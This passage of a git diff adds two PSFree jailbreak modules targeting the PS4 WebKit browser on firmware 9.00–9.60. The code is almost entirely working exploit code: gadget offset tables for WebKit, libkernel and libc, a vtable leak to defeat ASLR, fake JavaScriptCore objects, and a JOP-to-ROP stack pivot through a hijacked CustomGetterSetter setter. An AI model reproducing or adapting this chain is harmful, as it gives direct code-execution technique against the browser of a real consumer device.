||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.00, 9.03, 9.04
|
||||
|
||||
import { mem } from '../../module/mem.mjs';
|
||||
import { KB } from '../../module/offset.mjs';
|
||||
import { ChainBase, get_gadget } from '../../module/chain.mjs';
|
||||
import { BufferView } from '../../module/rw.mjs';
|
||||
|
||||
import {
|
||||
get_view_vector,
|
||||
resolve_import,
|
||||
init_syscall_array,
|
||||
} from '../../module/memtools.mjs';
|
||||
|
||||
import * as off from '../../module/offset.mjs';
|
||||
|
||||
// WebKit offsets of imported functions
|
||||
const offset_wk_stack_chk_fail = 0x178;
|
||||
const offset_wk_strlen = 0x198;
|
||||
|
||||
// libSceNKWebKit.sprx
|
||||
export let libwebkit_base = null;
|
||||
// libkernel_web.sprx
|
||||
export let libkernel_base = null;
|
||||
// libSceLibcInternal.sprx
|
||||
export let libc_base = null;
|
||||
|
||||
// TODO: gadgets for the JOP chain
|
||||
//
|
||||
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
|
||||
// type is PutPropertySlot::PutValueFunc
|
||||
const jop1 = `
|
||||
mov rdi, qword ptr [rsi + 8]
|
||||
mov rax, qword ptr [rdi]
|
||||
jmp qword ptr [rax + 0x70]
|
||||
`;
|
||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
||||
// ignored
|
||||
const jop2 = `
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x30]
|
||||
`;
|
||||
const jop3 = `
|
||||
mov rdx, qword ptr [rdx + 0x50]
|
||||
mov ecx, 0xa
|
||||
call qword ptr [rax + 0x40]
|
||||
`;
|
||||
const jop4 = `
|
||||
push rdx
|
||||
mov edi, 0xac9784fe
|
||||
jmp qword ptr [rax]
|
||||
`;
|
||||
const jop5 = 'pop rsp; ret';
|
||||
|
||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||
//
|
||||
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
|
||||
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
|
||||
// restore rbp (if needed) before the epilogue.
|
||||
//
|
||||
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
|
||||
// pushed earlier before the pivot, thus restoring the old rbp).
|
||||
//
|
||||
// leave instruction equivalent:
|
||||
// mov rsp, rbp
|
||||
// pop rbp
|
||||
|
||||
const webkit_gadget_offsets = new Map(Object.entries({
|
||||
'pop rax; ret' : 0x0000000000051a12, // `58 c3`
|
||||
'pop rbx; ret' : 0x00000000000be5d0, // `5b c3`
|
||||
'pop rcx; ret' : 0x00000000000657b7, // `59 c3`
|
||||
'pop rdx; ret' : 0x000000000000986c, // `5a c3`
|
||||
|
||||
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
|
||||
'pop rsi; ret' : 0x000000000001f4d6, // `5e c3`
|
||||
'pop rdi; ret' : 0x0000000000319690, // `5f c3`
|
||||
'pop rsp; ret' : 0x000000000004e293, // `5c c3`
|
||||
|
||||
'pop r8; ret' : 0x00000000001a7ef1, // `47 58 c3`
|
||||
'pop r9; ret' : 0x0000000000422571, // `47 59 c3`
|
||||
'pop r10; ret' : 0x0000000000e9e1d1, // `47 5a c3`
|
||||
'pop r11; ret' : 0x00000000012b1d51, // `47 5b c3`
|
||||
|
||||
'pop r12; ret' : 0x000000000085ec71, // `47 5c c3`
|
||||
'pop r13; ret' : 0x00000000001da461, // `47 5d c3`
|
||||
'pop r14; ret' : 0x0000000000685d73, // `47 5e c3`
|
||||
'pop r15; ret' : 0x00000000006ab3aa, // `47 5f c3`
|
||||
|
||||
'ret' : 0x0000000000000032, // `c3`
|
||||
'leave; ret' : 0x000000000008db5b, // `c9 c3`
|
||||
|
||||
'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc, // `48 8b 00 c3`
|
||||
'mov qword ptr [rdi], rax; ret' : 0x000000000000613b, // `48 89 07 c3`
|
||||
'mov dword ptr [rdi], eax; ret' : 0x000000000000613c, // `89 07 c3`
|
||||
'mov dword ptr [rax], esi; ret' : 0x00000000005c3482, // `89 30 c3`
|
||||
|
||||
[jop1] : 0x0000000000000000, // ``
|
||||
[jop2] : 0x0000000000000000, // ``
|
||||
[jop3] : 0x0000000000000000, // ``
|
||||
[jop4] : 0x0000000000000000, // ``
|
||||
[jop5] : 0x0000000000000000, // ``
|
||||
}));
|
||||
|
||||
const libc_gadget_offsets = new Map(Object.entries({
|
||||
'getcontext' : 0x24f04,
|
||||
'setcontext' : 0x29448,
|
||||
}));
|
||||
|
||||
const libkernel_gadget_offsets = new Map(Object.entries({
|
||||
// returns the location of errno
|
||||
'__error' : 0xCB80,
|
||||
}));
|
||||
|
||||
export const gadgets = new Map();
|
||||
|
||||
function get_bases() {
|
||||
const textarea = document.createElement('textarea');
|
||||
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
||||
const textarea_vtable = webcore_textarea.readp(0);
|
||||
const off_ta_vt = 0x2e73c18;
|
||||
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
|
||||
|
||||
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
|
||||
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
|
||||
const off_scf = 0x1ff60;
|
||||
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
|
||||
|
||||
const strlen_import = libwebkit_base.add(offset_wk_strlen);
|
||||
const strlen_addr = resolve_import(strlen_import);
|
||||
const off_strlen = 0x4fa40;
|
||||
const libc_base = strlen_addr.sub(off_strlen);
|
||||
|
||||
return [
|
||||
libwebkit_base,
|
||||
libkernel_base,
|
||||
libc_base,
|
||||
];
|
||||
}
|
||||
|
||||
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
||||
for (const [insn, offset] of offset_map) {
|
||||
gadget_map.set(insn, base_addr.add(offset));
|
||||
}
|
||||
}
|
||||
|
||||
class Chain900Base extends ChainBase {
|
||||
push_end() {
|
||||
this.push_gadget('leave; ret');
|
||||
}
|
||||
|
||||
push_get_retval() {
|
||||
this.push_gadget('pop rdi; ret');
|
||||
this.push_value(this.retval_addr);
|
||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
||||
}
|
||||
|
||||
push_get_errno() {
|
||||
this.push_gadget('pop rdi; ret');
|
||||
this.push_value(this.errno_addr);
|
||||
|
||||
this.push_call(this.get_gadget('__error'));
|
||||
|
||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
||||
this.push_gadget('mov dword ptr [rdi], eax; ret');
|
||||
}
|
||||
|
||||
push_clear_errno() {
|
||||
this.push_call(this.get_gadget('__error'));
|
||||
this.push_gadget('pop rsi; ret');
|
||||
this.push_value(0);
|
||||
this.push_gadget('mov dword ptr [rax], esi; ret');
|
||||
}
|
||||
}
|
||||
|
||||
export class Chain900 extends Chain900Base {
|
||||
constructor() {
|
||||
super();
|
||||
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
|
||||
rdx.write64(off.js_cell, this._empty_cell);
|
||||
rdx.write64(0x50, this.stack_addr);
|
||||
this._rsp = mem.fakeobj(rdx);
|
||||
}
|
||||
|
||||
run() {
|
||||
this.check_allow_run();
|
||||
this._rop.launch = this._rsp;
|
||||
this.dirty();
|
||||
}
|
||||
}
|
||||
|
||||
export const Chain = Chain900;
|
||||
|
||||
export function init(Chain) {
|
||||
const syscall_array = [];
|
||||
[libwebkit_base, libkernel_base, libc_base] = get_bases();
|
||||
|
||||
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
|
||||
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
|
||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||
|
||||
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
|
||||
// JSCustomGetterSetter.m_getterSetter
|
||||
gs = mem.addrof(gs).readp(0x28);
|
||||
|
||||
// sizeof JSC::CustomGetterSetter
|
||||
const size_cgs = 0x18;
|
||||
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
|
||||
mem.cpy(gc_buf, gs, size_cgs);
|
||||
// JSC::CustomGetterSetter.m_setter
|
||||
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
|
||||
|
||||
const proto = Chain.prototype;
|
||||
// _rop must have a descriptor initially in order for the structure to pass
|
||||
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
|
||||
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
|
||||
// checks for any descriptor to run
|
||||
//
|
||||
// the butterfly's indexing type must be something the GC won't inspect
|
||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
||||
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
|
||||
// replace .launch with the actual custom getter/setter
|
||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
||||
proto._rop = _rop;
|
||||
|
||||
// JOP table
|
||||
const rax_ptrs = new BufferView(0x100);
|
||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
||||
proto._rax_ptrs = rax_ptrs;
|
||||
|
||||
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
|
||||
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
|
||||
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
|
||||
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
|
||||
|
||||
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
|
||||
jop_buffer_p.write64(0, rax_ptrs_p);
|
||||
|
||||
const empty = {};
|
||||
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
|
||||
|
||||
Chain.init_class(gadgets, syscall_array);
|
||||
}
|
||||
262
src/rop/ps4/950.mjs
Normal file
262
src/rop/ps4/950.mjs
Normal file
@@ -0,0 +1,262 @@
|
||||
/* Copyright (C) 2023-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.50, 9.51, 9.60
|
||||
|
||||
import { mem } from '../../module/mem.mjs';
|
||||
import { KB } from '../../module/offset.mjs';
|
||||
import { ChainBase, get_gadget } from '../../module/chain.mjs';
|
||||
import { BufferView } from '../../module/rw.mjs';
|
||||
|
||||
import {
|
||||
get_view_vector,
|
||||
resolve_import,
|
||||
init_syscall_array,
|
||||
} from '../../module/memtools.mjs';
|
||||
|
||||
import * as off from '../../module/offset.mjs';
|
||||
|
||||
// WebKit offsets of imported functions
|
||||
const offset_wk_stack_chk_fail = 0x178;
|
||||
const offset_wk_strlen = 0x198;
|
||||
|
||||
// libSceNKWebKit.sprx
|
||||
export let libwebkit_base = null;
|
||||
// libkernel_web.sprx
|
||||
export let libkernel_base = null;
|
||||
// libSceLibcInternal.sprx
|
||||
export let libc_base = null;
|
||||
|
||||
// TODO: gadgets for the JOP chain
|
||||
//
|
||||
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
|
||||
// type is PutPropertySlot::PutValueFunc
|
||||
const jop1 = `
|
||||
mov rdi, qword ptr [rsi + 8]
|
||||
mov rax, qword ptr [rdi]
|
||||
jmp qword ptr [rax + 0x70]
|
||||
`;
|
||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
||||
// ignored
|
||||
const jop2 = `
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x30]
|
||||
`;
|
||||
const jop3 = `
|
||||
mov rdx, qword ptr [rdx + 0x50]
|
||||
mov ecx, 0xa
|
||||
call qword ptr [rax + 0x40]
|
||||
`;
|
||||
const jop4 = `
|
||||
push rdx
|
||||
mov edi, 0xac9784fe
|
||||
jmp qword ptr [rax]
|
||||
`;
|
||||
const jop5 = 'pop rsp; ret';
|
||||
|
||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||
//
|
||||
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
|
||||
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
|
||||
// restore rbp (if needed) before the epilogue.
|
||||
//
|
||||
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
|
||||
// pushed earlier before the pivot, thus restoring the old rbp).
|
||||
//
|
||||
// leave instruction equivalent:
|
||||
// mov rsp, rbp
|
||||
// pop rbp
|
||||
|
||||
const webkit_gadget_offsets = new Map(Object.entries({
|
||||
'pop rax; ret' : 0x0000000000011c46, // `58 c3`
|
||||
'pop rbx; ret' : 0x0000000000013730, // `5b c3`
|
||||
'pop rcx; ret' : 0x0000000000035a1e, // `59 c3`
|
||||
'pop rdx; ret' : 0x000000000018de52, // `5a c3`
|
||||
|
||||
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
|
||||
'pop rsi; ret' : 0x0000000000092a8c, // `5e c3`
|
||||
'pop rdi; ret' : 0x000000000005d19d, // `5f c3`
|
||||
'pop rsp; ret' : 0x00000000000253e0, // `5c c3`
|
||||
|
||||
'pop r8; ret' : 0x000000000003fe32, // `47 58 c3`
|
||||
'pop r9; ret' : 0x0000000000aaad51, // `47 59 c3`
|
||||
// Not found in 9.50-9.60, but not currently used in exploit
|
||||
// 'pop r10; ret' : 0x0000000000000000, // `4(1,3,5,7,9,b,d,f) 5a c3`
|
||||
'pop r11; ret' : 0x0000000001833a21, // `47 5b c3`
|
||||
|
||||
'pop r12; ret' : 0x0000000000420ad1, // `47 5c c3`
|
||||
'pop r13; ret' : 0x00000000018fc4c1, // `47 5d c3`
|
||||
'pop r14; ret' : 0x000000000028c900, // `41 5e c3`
|
||||
'pop r15; ret' : 0x0000000001437c8a, // `47 5f c3`
|
||||
|
||||
'ret' : 0x0000000000000032, // `c3`
|
||||
'leave; ret' : 0x0000000000056322, // `c9 c3`
|
||||
|
||||
'mov rax, qword ptr [rax]; ret' : 0x000000000000c671, // `48 8b 00 c3`
|
||||
'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07, // `48 89 07 c3`
|
||||
'mov dword ptr [rdi], eax; ret' : 0x00000000000071d0, // `89 07 c3`
|
||||
'mov dword ptr [rax], esi; ret' : 0x000000000007ebd8, // `89 30 c3`
|
||||
|
||||
[jop1] : 0x0000000000000000, // ``
|
||||
[jop2] : 0x0000000000000000, // ``
|
||||
[jop3] : 0x0000000000000000, // ``
|
||||
[jop4] : 0x0000000000000000, // ``
|
||||
[jop5] : 0x0000000000000000, // ``
|
||||
}));
|
||||
|
||||
const libc_gadget_offsets = new Map(Object.entries({
|
||||
'getcontext' : 0x21284,
|
||||
'setcontext' : 0x254dc,
|
||||
}));
|
||||
|
||||
const libkernel_gadget_offsets = new Map(Object.entries({
|
||||
// returns the location of errno
|
||||
'__error' : 0xbb60,
|
||||
}));
|
||||
|
||||
export const gadgets = new Map();
|
||||
|
||||
function get_bases() {
|
||||
const textarea = document.createElement('textarea');
|
||||
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
||||
const textarea_vtable = webcore_textarea.readp(0);
|
||||
const off_ta_vt = 0x2ebea68;
|
||||
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
|
||||
|
||||
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
|
||||
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
|
||||
const off_scf = 0x28870;
|
||||
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
|
||||
|
||||
const strlen_import = libwebkit_base.add(offset_wk_strlen);
|
||||
const strlen_addr = resolve_import(strlen_import);
|
||||
const off_strlen = 0x4c040;
|
||||
const libc_base = strlen_addr.sub(off_strlen);
|
||||
|
||||
return [
|
||||
libwebkit_base,
|
||||
libkernel_base,
|
||||
libc_base,
|
||||
];
|
||||
}
|
||||
|
||||
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
||||
for (const [insn, offset] of offset_map) {
|
||||
gadget_map.set(insn, base_addr.add(offset));
|
||||
}
|
||||
}
|
||||
|
||||
class Chain950Base extends ChainBase {
|
||||
push_end() {
|
||||
this.push_gadget('leave; ret');
|
||||
}
|
||||
|
||||
push_get_retval() {
|
||||
this.push_gadget('pop rdi; ret');
|
||||
this.push_value(this.retval_addr);
|
||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
||||
}
|
||||
|
||||
push_get_errno() {
|
||||
this.push_gadget('pop rdi; ret');
|
||||
this.push_value(this.errno_addr);
|
||||
|
||||
this.push_call(this.get_gadget('__error'));
|
||||
|
||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
||||
this.push_gadget('mov dword ptr [rdi], eax; ret');
|
||||
}
|
||||
|
||||
push_clear_errno() {
|
||||
this.push_call(this.get_gadget('__error'));
|
||||
this.push_gadget('pop rsi; ret');
|
||||
this.push_value(0);
|
||||
this.push_gadget('mov dword ptr [rax], esi; ret');
|
||||
}
|
||||
}
|
||||
|
||||
export class Chain950 extends Chain950Base {
|
||||
constructor() {
|
||||
super();
|
||||
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
|
||||
rdx.write64(off.js_cell, this._empty_cell);
|
||||
rdx.write64(0x50, this.stack_addr);
|
||||
this._rsp = mem.fakeobj(rdx);
|
||||
}
|
||||
|
||||
run() {
|
||||
this.check_allow_run();
|
||||
this._rop.launch = this._rsp;
|
||||
this.dirty();
|
||||
}
|
||||
}
|
||||
|
||||
export const Chain = Chain950;
|
||||
|
||||
export function init(Chain) {
|
||||
const syscall_array = [];
|
||||
[libwebkit_base, libkernel_base, libc_base] = get_bases();
|
||||
|
||||
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
|
||||
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
|
||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||
|
||||
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
|
||||
// JSCustomGetterSetter.m_getterSetter
|
||||
gs = mem.addrof(gs).readp(0x28);
|
||||
|
||||
// sizeof JSC::CustomGetterSetter
|
||||
const size_cgs = 0x18;
|
||||
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
|
||||
mem.cpy(gc_buf, gs, size_cgs);
|
||||
// JSC::CustomGetterSetter.m_setter
|
||||
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
|
||||
|
||||
const proto = Chain.prototype;
|
||||
// _rop must have a descriptor initially in order for the structure to pass
|
||||
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
|
||||
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
|
||||
// checks for any descriptor to run
|
||||
//
|
||||
// the butterfly's indexing type must be something the GC won't inspect
|
||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
||||
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
|
||||
// replace .launch with the actual custom getter/setter
|
||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
||||
proto._rop = _rop;
|
||||
|
||||
// JOP table
|
||||
const rax_ptrs = new BufferView(0x100);
|
||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
||||
proto._rax_ptrs = rax_ptrs;
|
||||
|
||||
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
|
||||
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
|
||||
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
|
||||
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
|
||||
|
||||
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
|
||||
jop_buffer_p.write64(0, rax_ptrs_p);
|
||||
|
||||
const empty = {};
|
||||
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
|
||||
|
||||
Chain.init_class(gadgets, syscall_array);
|
||||
}
|
||||
0
src/rop/ps5/.gitinclude
Normal file
0
src/rop/ps5/.gitinclude
Normal file
Reference in New Issue
Block a user